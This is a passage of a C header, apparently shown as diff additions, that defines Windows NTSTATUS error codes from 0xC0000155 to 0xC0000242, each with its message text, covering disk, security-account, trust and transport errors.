STATUS_LOGON_NOT_GRANTED ((NTSTATUS)0xC0000155L) + +// +// MessageId: STATUS_TOO_MANY_SECRETS +// +// MessageText: +// +// The maximum number of secrets that may be stored in a single system has been exceeded. The length and number of secrets is limited to satisfy United States State Department export restrictions. +// +#define STATUS_TOO_MANY_SECRETS ((NTSTATUS)0xC0000156L) + +// +// MessageId: STATUS_SECRET_TOO_LONG +// +// MessageText: +// +// The length of a secret exceeds the maximum length allowed. The length and number of secrets is limited to satisfy United States State Department export restrictions. +// +#define STATUS_SECRET_TOO_LONG ((NTSTATUS)0xC0000157L) + +// +// MessageId: STATUS_INTERNAL_DB_ERROR +// +// MessageText: +// +// The Local Security Authority (LSA) database contains an internal inconsistency. +// +#define STATUS_INTERNAL_DB_ERROR ((NTSTATUS)0xC0000158L) + +// +// MessageId: STATUS_FULLSCREEN_MODE +// +// MessageText: +// +// The requested operation cannot be performed in fullscreen mode. +// +#define STATUS_FULLSCREEN_MODE ((NTSTATUS)0xC0000159L) + +// +// MessageId: STATUS_TOO_MANY_CONTEXT_IDS +// +// MessageText: +// +// During a logon attempt, the user's security context accumulated too many security IDs. This is a very unusual situation. +// Remove the user from some global or local groups to reduce the number of security ids to incorporate into the security context. +// +#define STATUS_TOO_MANY_CONTEXT_IDS ((NTSTATUS)0xC000015AL) + +// +// MessageId: STATUS_LOGON_TYPE_NOT_GRANTED +// +// MessageText: +// +// A user has requested a type of logon (e.g., interactive or network) that has not been granted. An administrator has control over who may logon interactively and through the network. +// +#define STATUS_LOGON_TYPE_NOT_GRANTED ((NTSTATUS)0xC000015BL) + +// +// MessageId: STATUS_NOT_REGISTRY_FILE +// +// MessageText: +// +// The system has attempted to load or restore a file into the registry, and the specified file is not in the format of a registry file. +// +#define STATUS_NOT_REGISTRY_FILE ((NTSTATUS)0xC000015CL) + +// +// MessageId: STATUS_NT_CROSS_ENCRYPTION_REQUIRED +// +// MessageText: +// +// An attempt was made to change a user password in the security account manager without providing the necessary Windows cross-encrypted password. +// +#define STATUS_NT_CROSS_ENCRYPTION_REQUIRED ((NTSTATUS)0xC000015DL) + +// +// MessageId: STATUS_DOMAIN_CTRLR_CONFIG_ERROR +// +// MessageText: +// +// A Windows Server has an incorrect configuration. +// +#define STATUS_DOMAIN_CTRLR_CONFIG_ERROR ((NTSTATUS)0xC000015EL) + +// +// MessageId: STATUS_FT_MISSING_MEMBER +// +// MessageText: +// +// An attempt was made to explicitly access the secondary copy of information via a device control to the Fault Tolerance driver and the secondary copy is not present in the system. +// +#define STATUS_FT_MISSING_MEMBER ((NTSTATUS)0xC000015FL) + +// +// MessageId: STATUS_ILL_FORMED_SERVICE_ENTRY +// +// MessageText: +// +// A configuration registry node representing a driver service entry was ill-formed and did not contain required value entries. +// +#define STATUS_ILL_FORMED_SERVICE_ENTRY ((NTSTATUS)0xC0000160L) + +// +// MessageId: STATUS_ILLEGAL_CHARACTER +// +// MessageText: +// +// An illegal character was encountered. For a multi-byte character set this includes a lead byte without a succeeding trail byte. For the Unicode character set this includes the characters 0xFFFF and 0xFFFE. +// +#define STATUS_ILLEGAL_CHARACTER ((NTSTATUS)0xC0000161L) + +// +// MessageId: STATUS_UNMAPPABLE_CHARACTER +// +// MessageText: +// +// No mapping for the Unicode character exists in the target multi-byte code page. +// +#define STATUS_UNMAPPABLE_CHARACTER ((NTSTATUS)0xC0000162L) + +// +// MessageId: STATUS_UNDEFINED_CHARACTER +// +// MessageText: +// +// The Unicode character is not defined in the Unicode character set installed on the system. +// +#define STATUS_UNDEFINED_CHARACTER ((NTSTATUS)0xC0000163L) + +// +// MessageId: STATUS_FLOPPY_VOLUME +// +// MessageText: +// +// The paging file cannot be created on a floppy diskette. +// +#define STATUS_FLOPPY_VOLUME ((NTSTATUS)0xC0000164L) + +// +// MessageId: STATUS_FLOPPY_ID_MARK_NOT_FOUND +// +// MessageText: +// +// {Floppy Disk Error} +// While accessing a floppy disk, an ID address mark was not found. +// +#define STATUS_FLOPPY_ID_MARK_NOT_FOUND ((NTSTATUS)0xC0000165L) + +// +// MessageId: STATUS_FLOPPY_WRONG_CYLINDER +// +// MessageText: +// +// {Floppy Disk Error} +// While accessing a floppy disk, the track address from the sector ID field was found to be different than the track address maintained by the controller. +// +#define STATUS_FLOPPY_WRONG_CYLINDER ((NTSTATUS)0xC0000166L) + +// +// MessageId: STATUS_FLOPPY_UNKNOWN_ERROR +// +// MessageText: +// +// {Floppy Disk Error} +// The floppy disk controller reported an error that is not recognized by the floppy disk driver. +// +#define STATUS_FLOPPY_UNKNOWN_ERROR ((NTSTATUS)0xC0000167L) + +// +// MessageId: STATUS_FLOPPY_BAD_REGISTERS +// +// MessageText: +// +// {Floppy Disk Error} +// While accessing a floppy-disk, the controller returned inconsistent results via its registers. +// +#define STATUS_FLOPPY_BAD_REGISTERS ((NTSTATUS)0xC0000168L) + +// +// MessageId: STATUS_DISK_RECALIBRATE_FAILED +// +// MessageText: +// +// {Hard Disk Error} +// While accessing the hard disk, a recalibrate operation failed, even after retries. +// +#define STATUS_DISK_RECALIBRATE_FAILED ((NTSTATUS)0xC0000169L) + +// +// MessageId: STATUS_DISK_OPERATION_FAILED +// +// MessageText: +// +// {Hard Disk Error} +// While accessing the hard disk, a disk operation failed even after retries. +// +#define STATUS_DISK_OPERATION_FAILED ((NTSTATUS)0xC000016AL) + +// +// MessageId: STATUS_DISK_RESET_FAILED +// +// MessageText: +// +// {Hard Disk Error} +// While accessing the hard disk, a disk controller reset was needed, but even that failed. +// +#define STATUS_DISK_RESET_FAILED ((NTSTATUS)0xC000016BL) + +// +// MessageId: STATUS_SHARED_IRQ_BUSY +// +// MessageText: +// +// An attempt was made to open a device that was sharing an IRQ with other devices. +// At least one other device that uses that IRQ was already opened. +// Two concurrent opens of devices that share an IRQ and only work via interrupts is not supported for the particular bus type that the devices use. +// +#define STATUS_SHARED_IRQ_BUSY ((NTSTATUS)0xC000016CL) + +// +// MessageId: STATUS_FT_ORPHANING +// +// MessageText: +// +// {FT Orphaning} +// A disk that is part of a fault-tolerant volume can no longer be accessed. +// +#define STATUS_FT_ORPHANING ((NTSTATUS)0xC000016DL) + +// +// MessageId: STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT +// +// MessageText: +// +// The system bios failed to connect a system interrupt to the device or bus for +// which the device is connected. +// +#define STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT ((NTSTATUS)0xC000016EL) + +// +// MessageId: STATUS_PARTITION_FAILURE +// +// MessageText: +// +// Tape could not be partitioned. +// +#define STATUS_PARTITION_FAILURE ((NTSTATUS)0xC0000172L) + +// +// MessageId: STATUS_INVALID_BLOCK_LENGTH +// +// MessageText: +// +// When accessing a new tape of a multivolume partition, the current blocksize is incorrect. +// +#define STATUS_INVALID_BLOCK_LENGTH ((NTSTATUS)0xC0000173L) + +// +// MessageId: STATUS_DEVICE_NOT_PARTITIONED +// +// MessageText: +// +// Tape partition information could not be found when loading a tape. +// +#define STATUS_DEVICE_NOT_PARTITIONED ((NTSTATUS)0xC0000174L) + +// +// MessageId: STATUS_UNABLE_TO_LOCK_MEDIA +// +// MessageText: +// +// Attempt to lock the eject media mechanism fails. +// +#define STATUS_UNABLE_TO_LOCK_MEDIA ((NTSTATUS)0xC0000175L) + +// +// MessageId: STATUS_UNABLE_TO_UNLOAD_MEDIA +// +// MessageText: +// +// Unload media fails. +// +#define STATUS_UNABLE_TO_UNLOAD_MEDIA ((NTSTATUS)0xC0000176L) + +// +// MessageId: STATUS_EOM_OVERFLOW +// +// MessageText: +// +// Physical end of tape was detected. +// +#define STATUS_EOM_OVERFLOW ((NTSTATUS)0xC0000177L) + +// +// MessageId: STATUS_NO_MEDIA +// +// MessageText: +// +// {No Media} +// There is no media in the drive. +// Please insert media into drive %hs. +// +#define STATUS_NO_MEDIA ((NTSTATUS)0xC0000178L) + +// +// MessageId: STATUS_NO_SUCH_MEMBER +// +// MessageText: +// +// A member could not be added to or removed from the local group because the member does not exist. +// +#define STATUS_NO_SUCH_MEMBER ((NTSTATUS)0xC000017AL) + +// +// MessageId: STATUS_INVALID_MEMBER +// +// MessageText: +// +// A new member could not be added to a local group because the member has the wrong account type. +// +#define STATUS_INVALID_MEMBER ((NTSTATUS)0xC000017BL) + +// +// MessageId: STATUS_KEY_DELETED +// +// MessageText: +// +// Illegal operation attempted on a registry key which has been marked for deletion. +// +#define STATUS_KEY_DELETED ((NTSTATUS)0xC000017CL) + +// +// MessageId: STATUS_NO_LOG_SPACE +// +// MessageText: +// +// System could not allocate required space in a registry log. +// +#define STATUS_NO_LOG_SPACE ((NTSTATUS)0xC000017DL) + +// +// MessageId: STATUS_TOO_MANY_SIDS +// +// MessageText: +// +// Too many Sids have been specified. +// +#define STATUS_TOO_MANY_SIDS ((NTSTATUS)0xC000017EL) + +// +// MessageId: STATUS_LM_CROSS_ENCRYPTION_REQUIRED +// +// MessageText: +// +// An attempt was made to change a user password in the security account manager without providing the necessary LM cross-encrypted password. +// +#define STATUS_LM_CROSS_ENCRYPTION_REQUIRED ((NTSTATUS)0xC000017FL) + +// +// MessageId: STATUS_KEY_HAS_CHILDREN +// +// MessageText: +// +// An attempt was made to create a symbolic link in a registry key that already has subkeys or values. +// +#define STATUS_KEY_HAS_CHILDREN ((NTSTATUS)0xC0000180L) + +// +// MessageId: STATUS_CHILD_MUST_BE_VOLATILE +// +// MessageText: +// +// An attempt was made to create a Stable subkey under a Volatile parent key. +// +#define STATUS_CHILD_MUST_BE_VOLATILE ((NTSTATUS)0xC0000181L) + +// +// MessageId: STATUS_DEVICE_CONFIGURATION_ERROR +// +// MessageText: +// +// The I/O device is configured incorrectly or the configuration parameters to the driver are incorrect. +// +#define STATUS_DEVICE_CONFIGURATION_ERROR ((NTSTATUS)0xC0000182L) + +// +// MessageId: STATUS_DRIVER_INTERNAL_ERROR +// +// MessageText: +// +// An error was detected between two drivers or within an I/O driver. +// +#define STATUS_DRIVER_INTERNAL_ERROR ((NTSTATUS)0xC0000183L) + +// +// MessageId: STATUS_INVALID_DEVICE_STATE +// +// MessageText: +// +// The device is not in a valid state to perform this request. +// +#define STATUS_INVALID_DEVICE_STATE ((NTSTATUS)0xC0000184L) + +// +// MessageId: STATUS_IO_DEVICE_ERROR +// +// MessageText: +// +// The I/O device reported an I/O error. +// +#define STATUS_IO_DEVICE_ERROR ((NTSTATUS)0xC0000185L) + +// +// MessageId: STATUS_DEVICE_PROTOCOL_ERROR +// +// MessageText: +// +// A protocol error was detected between the driver and the device. +// +#define STATUS_DEVICE_PROTOCOL_ERROR ((NTSTATUS)0xC0000186L) + +// +// MessageId: STATUS_BACKUP_CONTROLLER +// +// MessageText: +// +// This operation is only allowed for the Primary Domain Controller of the domain. +// +#define STATUS_BACKUP_CONTROLLER ((NTSTATUS)0xC0000187L) + +// +// MessageId: STATUS_LOG_FILE_FULL +// +// MessageText: +// +// Log file space is insufficient to support this operation. +// +#define STATUS_LOG_FILE_FULL ((NTSTATUS)0xC0000188L) + +// +// MessageId: STATUS_TOO_LATE +// +// MessageText: +// +// A write operation was attempted to a volume after it was dismounted. +// +#define STATUS_TOO_LATE ((NTSTATUS)0xC0000189L) + +// +// MessageId: STATUS_NO_TRUST_LSA_SECRET +// +// MessageText: +// +// The workstation does not have a trust secret for the primary domain in the local LSA database. +// +#define STATUS_NO_TRUST_LSA_SECRET ((NTSTATUS)0xC000018AL) + +// +// MessageId: STATUS_NO_TRUST_SAM_ACCOUNT +// +// MessageText: +// +// The SAM database on the Windows Server does not have a computer account for this workstation trust relationship. +// +#define STATUS_NO_TRUST_SAM_ACCOUNT ((NTSTATUS)0xC000018BL) + +// +// MessageId: STATUS_TRUSTED_DOMAIN_FAILURE +// +// MessageText: +// +// The logon request failed because the trust relationship between the primary domain and the trusted domain failed. +// +#define STATUS_TRUSTED_DOMAIN_FAILURE ((NTSTATUS)0xC000018CL) + +// +// MessageId: STATUS_TRUSTED_RELATIONSHIP_FAILURE +// +// MessageText: +// +// The logon request failed because the trust relationship between this workstation and the primary domain failed. +// +#define STATUS_TRUSTED_RELATIONSHIP_FAILURE ((NTSTATUS)0xC000018DL) + +// +// MessageId: STATUS_EVENTLOG_FILE_CORRUPT +// +// MessageText: +// +// The Eventlog log file is corrupt. +// +#define STATUS_EVENTLOG_FILE_CORRUPT ((NTSTATUS)0xC000018EL) + +// +// MessageId: STATUS_EVENTLOG_CANT_START +// +// MessageText: +// +// No Eventlog log file could be opened. The Eventlog service did not start. +// +#define STATUS_EVENTLOG_CANT_START ((NTSTATUS)0xC000018FL) + +// +// MessageId: STATUS_TRUST_FAILURE +// +// MessageText: +// +// The network logon failed. This may be because the validation authority can't be reached. +// +#define STATUS_TRUST_FAILURE ((NTSTATUS)0xC0000190L) + +// +// MessageId: STATUS_MUTANT_LIMIT_EXCEEDED +// +// MessageText: +// +// An attempt was made to acquire a mutant such that its maximum count would have been exceeded. +// +#define STATUS_MUTANT_LIMIT_EXCEEDED ((NTSTATUS)0xC0000191L) + +// +// MessageId: STATUS_NETLOGON_NOT_STARTED +// +// MessageText: +// +// An attempt was made to logon, but the netlogon service was not started. +// +#define STATUS_NETLOGON_NOT_STARTED ((NTSTATUS)0xC0000192L) + +// +// MessageId: STATUS_ACCOUNT_EXPIRED +// +// MessageText: +// +// The user's account has expired. +// +#define STATUS_ACCOUNT_EXPIRED ((NTSTATUS)0xC0000193L) // ntsubauth + +// +// MessageId: STATUS_POSSIBLE_DEADLOCK +// +// MessageText: +// +// {EXCEPTION} +// Possible deadlock condition. +// +#define STATUS_POSSIBLE_DEADLOCK ((NTSTATUS)0xC0000194L) + +// +// MessageId: STATUS_NETWORK_CREDENTIAL_CONFLICT +// +// MessageText: +// +// Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again. +// +#define STATUS_NETWORK_CREDENTIAL_CONFLICT ((NTSTATUS)0xC0000195L) + +// +// MessageId: STATUS_REMOTE_SESSION_LIMIT +// +// MessageText: +// +// An attempt was made to establish a session to a network server, but there are already too many sessions established to that server. +// +#define STATUS_REMOTE_SESSION_LIMIT ((NTSTATUS)0xC0000196L) + +// +// MessageId: STATUS_EVENTLOG_FILE_CHANGED +// +// MessageText: +// +// The log file has changed between reads. +// +#define STATUS_EVENTLOG_FILE_CHANGED ((NTSTATUS)0xC0000197L) + +// +// MessageId: STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT +// +// MessageText: +// +// The account used is an Interdomain Trust account. Use your global user account or local user account to access this server. +// +#define STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT ((NTSTATUS)0xC0000198L) + +// +// MessageId: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT +// +// MessageText: +// +// The account used is a Computer Account. Use your global user account or local user account to access this server. +// +#define STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT ((NTSTATUS)0xC0000199L) + +// +// MessageId: STATUS_NOLOGON_SERVER_TRUST_ACCOUNT +// +// MessageText: +// +// The account used is an Server Trust account. Use your global user account or local user account to access this server. +// +#define STATUS_NOLOGON_SERVER_TRUST_ACCOUNT ((NTSTATUS)0xC000019AL) + +// +// MessageId: STATUS_DOMAIN_TRUST_INCONSISTENT +// +// MessageText: +// +// The name or SID of the domain specified is inconsistent with the trust information for that domain. +// +#define STATUS_DOMAIN_TRUST_INCONSISTENT ((NTSTATUS)0xC000019BL) + +// +// MessageId: STATUS_FS_DRIVER_REQUIRED +// +// MessageText: +// +// A volume has been accessed for which a file system driver is required that has not yet been loaded. +// +#define STATUS_FS_DRIVER_REQUIRED ((NTSTATUS)0xC000019CL) + +// +// MessageId: STATUS_NO_USER_SESSION_KEY +// +// MessageText: +// +// There is no user session key for the specified logon session. +// +#define STATUS_NO_USER_SESSION_KEY ((NTSTATUS)0xC0000202L) + +// +// MessageId: STATUS_USER_SESSION_DELETED +// +// MessageText: +// +// The remote user session has been deleted. +// +#define STATUS_USER_SESSION_DELETED ((NTSTATUS)0xC0000203L) + +// +// MessageId: STATUS_RESOURCE_LANG_NOT_FOUND +// +// MessageText: +// +// Indicates the specified resource language ID cannot be found in the +// image file. +// +#define STATUS_RESOURCE_LANG_NOT_FOUND ((NTSTATUS)0xC0000204L) + +// +// MessageId: STATUS_INSUFF_SERVER_RESOURCES +// +// MessageText: +// +// Insufficient server resources exist to complete the request. +// +#define STATUS_INSUFF_SERVER_RESOURCES ((NTSTATUS)0xC0000205L) + +// +// MessageId: STATUS_INVALID_BUFFER_SIZE +// +// MessageText: +// +// The size of the buffer is invalid for the specified operation. +// +#define STATUS_INVALID_BUFFER_SIZE ((NTSTATUS)0xC0000206L) + +// +// MessageId: STATUS_INVALID_ADDRESS_COMPONENT +// +// MessageText: +// +// The transport rejected the network address specified as invalid. +// +#define STATUS_INVALID_ADDRESS_COMPONENT ((NTSTATUS)0xC0000207L) + +// +// MessageId: STATUS_INVALID_ADDRESS_WILDCARD +// +// MessageText: +// +// The transport rejected the network address specified due to an invalid use of a wildcard. +// +#define STATUS_INVALID_ADDRESS_WILDCARD ((NTSTATUS)0xC0000208L) + +// +// MessageId: STATUS_TOO_MANY_ADDRESSES +// +// MessageText: +// +// The transport address could not be opened because all the available addresses are in use. +// +#define STATUS_TOO_MANY_ADDRESSES ((NTSTATUS)0xC0000209L) + +// +// MessageId: STATUS_ADDRESS_ALREADY_EXISTS +// +// MessageText: +// +// The transport address could not be opened because it already exists. +// +#define STATUS_ADDRESS_ALREADY_EXISTS ((NTSTATUS)0xC000020AL) + +// +// MessageId: STATUS_ADDRESS_CLOSED +// +// MessageText: +// +// The transport address is now closed. +// +#define STATUS_ADDRESS_CLOSED ((NTSTATUS)0xC000020BL) + +// +// MessageId: STATUS_CONNECTION_DISCONNECTED +// +// MessageText: +// +// The transport connection is now disconnected. +// +#define STATUS_CONNECTION_DISCONNECTED ((NTSTATUS)0xC000020CL) + +// +// MessageId: STATUS_CONNECTION_RESET +// +// MessageText: +// +// The transport connection has been reset. +// +#define STATUS_CONNECTION_RESET ((NTSTATUS)0xC000020DL) + +// +// MessageId: STATUS_TOO_MANY_NODES +// +// MessageText: +// +// The transport cannot dynamically acquire any more nodes. +// +#define STATUS_TOO_MANY_NODES ((NTSTATUS)0xC000020EL) + +// +// MessageId: STATUS_TRANSACTION_ABORTED +// +// MessageText: +// +// The transport aborted a pending transaction. +// +#define STATUS_TRANSACTION_ABORTED ((NTSTATUS)0xC000020FL) + +// +// MessageId: STATUS_TRANSACTION_TIMED_OUT +// +// MessageText: +// +// The transport timed out a request waiting for a response. +// +#define STATUS_TRANSACTION_TIMED_OUT ((NTSTATUS)0xC0000210L) + +// +// MessageId: STATUS_TRANSACTION_NO_RELEASE +// +// MessageText: +// +// The transport did not receive a release for a pending response. +// +#define STATUS_TRANSACTION_NO_RELEASE ((NTSTATUS)0xC0000211L) + +// +// MessageId: STATUS_TRANSACTION_NO_MATCH +// +// MessageText: +// +// The transport did not find a transaction matching the specific +// token. +// +#define STATUS_TRANSACTION_NO_MATCH ((NTSTATUS)0xC0000212L) + +// +// MessageId: STATUS_TRANSACTION_RESPONDED +// +// MessageText: +// +// The transport had previously responded to a transaction request. +// +#define STATUS_TRANSACTION_RESPONDED ((NTSTATUS)0xC0000213L) + +// +// MessageId: STATUS_TRANSACTION_INVALID_ID +// +// MessageText: +// +// The transport does not recognized the transaction request identifier specified. +// +#define STATUS_TRANSACTION_INVALID_ID ((NTSTATUS)0xC0000214L) + +// +// MessageId: STATUS_TRANSACTION_INVALID_TYPE +// +// MessageText: +// +// The transport does not recognize the transaction request type specified. +// +#define STATUS_TRANSACTION_INVALID_TYPE ((NTSTATUS)0xC0000215L) + +// +// MessageId: STATUS_NOT_SERVER_SESSION +// +// MessageText: +// +// The transport can only process the specified request on the server side of a session. +// +#define STATUS_NOT_SERVER_SESSION ((NTSTATUS)0xC0000216L) + +// +// MessageId: STATUS_NOT_CLIENT_SESSION +// +// MessageText: +// +// The transport can only process the specified request on the client side of a session. +// +#define STATUS_NOT_CLIENT_SESSION ((NTSTATUS)0xC0000217L) + +// +// MessageId: STATUS_CANNOT_LOAD_REGISTRY_FILE +// +// MessageText: +// +// {Registry File Failure} +// The registry cannot load the hive (file): +// %hs +// or its log or alternate. +// It is corrupt, absent, or not writable. +// +#define STATUS_CANNOT_LOAD_REGISTRY_FILE ((NTSTATUS)0xC0000218L) + +// +// MessageId: STATUS_DEBUG_ATTACH_FAILED +// +// MessageText: +// +// {Unexpected Failure in DebugActiveProcess} +// An unexpected failure occurred while processing a DebugActiveProcess API request. You may choose OK to terminate the process, or Cancel to ignore the error. +// +#define STATUS_DEBUG_ATTACH_FAILED ((NTSTATUS)0xC0000219L) + +// +// MessageId: STATUS_SYSTEM_PROCESS_TERMINATED +// +// MessageText: +// +// {Fatal System Error} +// The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). +// The system has been shut down. +// +#define STATUS_SYSTEM_PROCESS_TERMINATED ((NTSTATUS)0xC000021AL) + +// +// MessageId: STATUS_DATA_NOT_ACCEPTED +// +// MessageText: +// +// {Data Not Accepted} +// The TDI client could not handle the data received during an indication. +// +#define STATUS_DATA_NOT_ACCEPTED ((NTSTATUS)0xC000021BL) + +// +// MessageId: STATUS_NO_BROWSER_SERVERS_FOUND +// +// MessageText: +// +// {Unable to Retrieve Browser Server List} +// The list of servers for this workgroup is not currently available. +// +#define STATUS_NO_BROWSER_SERVERS_FOUND ((NTSTATUS)0xC000021CL) + +// +// MessageId: STATUS_VDM_HARD_ERROR +// +// MessageText: +// +// NTVDM encountered a hard error. +// +#define STATUS_VDM_HARD_ERROR ((NTSTATUS)0xC000021DL) + +// +// MessageId: STATUS_DRIVER_CANCEL_TIMEOUT +// +// MessageText: +// +// {Cancel Timeout} +// The driver %hs failed to complete a cancelled I/O request in the allotted time. +// +#define STATUS_DRIVER_CANCEL_TIMEOUT ((NTSTATUS)0xC000021EL) + +// +// MessageId: STATUS_REPLY_MESSAGE_MISMATCH +// +// MessageText: +// +// {Reply Message Mismatch} +// An attempt was made to reply to an LPC message, but the thread specified by the client ID in the message was not waiting on that message. +// +#define STATUS_REPLY_MESSAGE_MISMATCH ((NTSTATUS)0xC000021FL) + +// +// MessageId: STATUS_MAPPED_ALIGNMENT +// +// MessageText: +// +// {Mapped View Alignment Incorrect} +// An attempt was made to map a view of a file, but either the specified base address or the offset into the file were not aligned on the proper allocation granularity. +// +#define STATUS_MAPPED_ALIGNMENT ((NTSTATUS)0xC0000220L) + +// +// MessageId: STATUS_IMAGE_CHECKSUM_MISMATCH +// +// MessageText: +// +// {Bad Image Checksum} +// The image %hs is possibly corrupt. The header checksum does not match the computed checksum. +// +#define STATUS_IMAGE_CHECKSUM_MISMATCH ((NTSTATUS)0xC0000221L) + +// +// MessageId: STATUS_LOST_WRITEBEHIND_DATA +// +// MessageText: +// +// {Delayed Write Failed} +// Windows was unable to save all the data for the file %hs. The data has been lost. +// This error may be caused by a failure of your computer hardware or network connection. Please try to save this file elsewhere. +// +#define STATUS_LOST_WRITEBEHIND_DATA ((NTSTATUS)0xC0000222L) + +// +// MessageId: STATUS_CLIENT_SERVER_PARAMETERS_INVALID +// +// MessageText: +// +// The parameter(s) passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window. +// +#define STATUS_CLIENT_SERVER_PARAMETERS_INVALID ((NTSTATUS)0xC0000223L) + +// +// MessageId: STATUS_PASSWORD_MUST_CHANGE +// +// MessageText: +// +// The user's password must be changed before logging on the first time. +// +#define STATUS_PASSWORD_MUST_CHANGE ((NTSTATUS)0xC0000224L) // ntsubauth + +// +// MessageId: STATUS_NOT_FOUND +// +// MessageText: +// +// The object was not found. +// +#define STATUS_NOT_FOUND ((NTSTATUS)0xC0000225L) + +// +// MessageId: STATUS_NOT_TINY_STREAM +// +// MessageText: +// +// The stream is not a tiny stream. +// +#define STATUS_NOT_TINY_STREAM ((NTSTATUS)0xC0000226L) + +// +// MessageId: STATUS_RECOVERY_FAILURE +// +// MessageText: +// +// A transaction recover failed. +// +#define STATUS_RECOVERY_FAILURE ((NTSTATUS)0xC0000227L) + +// +// MessageId: STATUS_STACK_OVERFLOW_READ +// +// MessageText: +// +// The request must be handled by the stack overflow code. +// +#define STATUS_STACK_OVERFLOW_READ ((NTSTATUS)0xC0000228L) + +// +// MessageId: STATUS_FAIL_CHECK +// +// MessageText: +// +// A consistency check failed. +// +#define STATUS_FAIL_CHECK ((NTSTATUS)0xC0000229L) + +// +// MessageId: STATUS_DUPLICATE_OBJECTID +// +// MessageText: +// +// The attempt to insert the ID in the index failed because the ID is already in the index. +// +#define STATUS_DUPLICATE_OBJECTID ((NTSTATUS)0xC000022AL) + +// +// MessageId: STATUS_OBJECTID_EXISTS +// +// MessageText: +// +// The attempt to set the object's ID failed because the object already has an ID. +// +#define STATUS_OBJECTID_EXISTS ((NTSTATUS)0xC000022BL) + +// +// MessageId: STATUS_CONVERT_TO_LARGE +// +// MessageText: +// +// Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing onode is moved or the extent stream is converted to a large stream. +// +#define STATUS_CONVERT_TO_LARGE ((NTSTATUS)0xC000022CL) + +// +// MessageId: STATUS_RETRY +// +// MessageText: +// +// The request needs to be retried. +// +#define STATUS_RETRY ((NTSTATUS)0xC000022DL) + +// +// MessageId: STATUS_FOUND_OUT_OF_SCOPE +// +// MessageText: +// +// The attempt to find the object found an object matching by ID on the volume but it is out of the scope of the handle used for the operation. +// +#define STATUS_FOUND_OUT_OF_SCOPE ((NTSTATUS)0xC000022EL) + +// +// MessageId: STATUS_ALLOCATE_BUCKET +// +// MessageText: +// +// The bucket array must be grown. Retry transaction after doing so. +// +#define STATUS_ALLOCATE_BUCKET ((NTSTATUS)0xC000022FL) + +// +// MessageId: STATUS_PROPSET_NOT_FOUND +// +// MessageText: +// +// The property set specified does not exist on the object. +// +#define STATUS_PROPSET_NOT_FOUND ((NTSTATUS)0xC0000230L) + +// +// MessageId: STATUS_MARSHALL_OVERFLOW +// +// MessageText: +// +// The user/kernel marshalling buffer has overflowed. +// +#define STATUS_MARSHALL_OVERFLOW ((NTSTATUS)0xC0000231L) + +// +// MessageId: STATUS_INVALID_VARIANT +// +// MessageText: +// +// The supplied variant structure contains invalid data. +// +#define STATUS_INVALID_VARIANT ((NTSTATUS)0xC0000232L) + +// +// MessageId: STATUS_DOMAIN_CONTROLLER_NOT_FOUND +// +// MessageText: +// +// Could not find a domain controller for this domain. +// +#define STATUS_DOMAIN_CONTROLLER_NOT_FOUND ((NTSTATUS)0xC0000233L) + +// +// MessageId: STATUS_ACCOUNT_LOCKED_OUT +// +// MessageText: +// +// The user account has been automatically locked because too many invalid logon attempts or password change attempts have been requested. +// +#define STATUS_ACCOUNT_LOCKED_OUT ((NTSTATUS)0xC0000234L) // ntsubauth + +// +// MessageId: STATUS_HANDLE_NOT_CLOSABLE +// +// MessageText: +// +// NtClose was called on a handle that was protected from close via NtSetInformationObject. +// +#define STATUS_HANDLE_NOT_CLOSABLE ((NTSTATUS)0xC0000235L) + +// +// MessageId: STATUS_CONNECTION_REFUSED +// +// MessageText: +// +// The transport connection attempt was refused by the remote system. +// +#define STATUS_CONNECTION_REFUSED ((NTSTATUS)0xC0000236L) + +// +// MessageId: STATUS_GRACEFUL_DISCONNECT +// +// MessageText: +// +// The transport connection was gracefully closed. +// +#define STATUS_GRACEFUL_DISCONNECT ((NTSTATUS)0xC0000237L) + +// +// MessageId: STATUS_ADDRESS_ALREADY_ASSOCIATED +// +// MessageText: +// +// The transport endpoint already has an address associated with it. +// +#define STATUS_ADDRESS_ALREADY_ASSOCIATED ((NTSTATUS)0xC0000238L) + +// +// MessageId: STATUS_ADDRESS_NOT_ASSOCIATED +// +// MessageText: +// +// An address has not yet been associated with the transport endpoint. +// +#define STATUS_ADDRESS_NOT_ASSOCIATED ((NTSTATUS)0xC0000239L) + +// +// MessageId: STATUS_CONNECTION_INVALID +// +// MessageText: +// +// An operation was attempted on a nonexistent transport connection. +// +#define STATUS_CONNECTION_INVALID ((NTSTATUS)0xC000023AL) + +// +// MessageId: STATUS_CONNECTION_ACTIVE +// +// MessageText: +// +// An invalid operation was attempted on an active transport connection. +// +#define STATUS_CONNECTION_ACTIVE ((NTSTATUS)0xC000023BL) + +// +// MessageId: STATUS_NETWORK_UNREACHABLE +// +// MessageText: +// +// The remote network is not reachable by the transport. +// +#define STATUS_NETWORK_UNREACHABLE ((NTSTATUS)0xC000023CL) + +// +// MessageId: STATUS_HOST_UNREACHABLE +// +// MessageText: +// +// The remote system is not reachable by the transport. +// +#define STATUS_HOST_UNREACHABLE ((NTSTATUS)0xC000023DL) + +// +// MessageId: STATUS_PROTOCOL_UNREACHABLE +// +// MessageText: +// +// The remote system does not support the transport protocol. +// +#define STATUS_PROTOCOL_UNREACHABLE ((NTSTATUS)0xC000023EL) + +// +// MessageId: STATUS_PORT_UNREACHABLE +// +// MessageText: +// +// No service is operating at the destination port of the transport on the remote system. +// +#define STATUS_PORT_UNREACHABLE ((NTSTATUS)0xC000023FL) + +// +// MessageId: STATUS_REQUEST_ABORTED +// +// MessageText: +// +// The request was aborted. +// +#define STATUS_REQUEST_ABORTED ((NTSTATUS)0xC0000240L) + +// +// MessageId: STATUS_CONNECTION_ABORTED +// +// MessageText: +// +// The transport connection was aborted by the local system. +// +#define STATUS_CONNECTION_ABORTED ((NTSTATUS)0xC0000241L) + +// +// MessageId: STATUS_BAD_COMPRESSION_BUFFER +// +// MessageText: +// +// The specified buffer contains ill-formed data. +// +#define STATUS_BAD_COMPRESSION_BUFFER ((NTSTATUS)0xC0000242L) + +// +// MessageId: STATUS_USER_MAPPED_FILE +// +// MessageText: +// 